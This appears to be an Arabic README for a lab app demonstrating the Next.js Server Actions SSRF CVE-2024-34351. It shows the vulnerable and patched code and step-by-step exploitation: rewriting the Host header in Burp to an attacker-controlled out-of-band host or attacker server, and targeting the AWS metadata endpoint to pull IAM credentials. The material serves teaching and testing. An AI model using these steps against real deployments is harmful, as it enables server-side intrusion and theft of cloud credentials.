
تطبيق Next.js 14.0.0 بسيط للتوضيح على CVE-2024-34351 -- ثغرة تزوير الطلبات من جانب الخادم (SSRF) في إجراءات خادم Next.js.
تم اكتشافها بواسطة Adam Kues وShubham Shah في Assetnote. تم إصلاحها في Next.js 14.1.1.
عندما يقوم إجراء خادم باستدعاء redirect('/some-path')، يقوم Next.js ببناء عنوان fetch داخلي باستخدام ترويسة Host من الطلب الوارد دون تحقق:
// الكود القابل للاستغلال في createRedirectRenderResult (Next.js < 14.1.1)
const host = req.headers['host'] // يتحكم فيه المهاجم
const fetchUrl = new URL(`${proto}://${host}${basePath}${redirectUrl}`)
await fetch(fetchUrl, { method: 'HEAD', ... }) // الخادم ينفذ هذا الطلب
يمكن للمهاجم الذي يتحكم في ترويسة Host توجيه عملية الجلب الداخلية هذه إلى أي وجهة يمكن للخادم الوصول إليها.
npm install
npm run build # يجب استخدام بناء الإنتاج -- ففي وضع التطوير تُوجَّه عمليات إعادة التوجيه بشكل مختلف
npm run start # يعمل التطبيق على http://localhost:3000
يُعد interactsh مفيدًا لتأكيد أن خادم Next.js يقوم بطلب صادر إلى مضيف يتحكم فيه المهاجم.
# تثبيت interactsh-client
go install -v github.com/projectdiscovery/interactsh/cmd/interactsh-client@latest
# بدء جلسة -- لاحظ رابط التفاعل الخاص بك، مثل abc123.oast.fun
interactsh-client
في Burp Suite:
http://localhost:3000 وقدّم نموذج تسجيل الدخول مع تفعيل الاعتراض ONHost: localhost:3000 إلى Host: abc123.oast.funهذا يثبت وجود SSRF صادر. الطلب ينشأ من عملية الخادم، وليس من المتصفح.
لا يمكن لـ interactsh التحكم في استجابته، لذا لن يتابع Next.js إلى طلب GET. للحصول على كامل نص الاستجابة، استخدم خادم المهاجم المرفق:
python3 attacker/attacker_server.py 8888
اضبط ترويسة Host إلى <your-lan-ip>:8888 وأرسل الطلب. يستجيب خادم المهاجم
لطلب HEAD بـ Content-Type: text/x-component، مما يدفع إلى طلب GET. يُعاد نص الاستجابة الكامل
داخل استجابة Next.js الظاهرة في Burp.
عند تشغيل التطبيق القابل للاستغلال على مثيل AWS EC2، اضبط ترويسة Host على:
Host: 169.254.169.254
سيقوم Next.js بالجلب من خدمة بيانات المثيل الوصفية. لاسترجاع بيانات اعتماد IAM:
Host: 169.254.169.254
ثم عدّل مسار إعادة التوجيه أو استخدم طلبًا متابِعًا لاستهداف:
http://169.254.169.254/latest/meta-data/iam/security-credentials/
يُعاد نص الاستجابة الوصفية الكامل إلى متصفح المهاجم.
// تم التصحيح -- لا يقرأ بعد الآن من ترويسة الطلب التي يتحكم فيها المهاجم
const host = (staticGenerationStore.incrementalCache as any)?.__nextHostnamePort
?? process.env.__NEXT_PRIVATE_ORIGIN
?? req.headers['host']
يفضل الإصلاح process.env.__NEXT_PRIVATE_ORIGIN -- وهي تُعيّن عند بدء تشغيل الخادم ولا يمكن للمهاجم التحكم بها.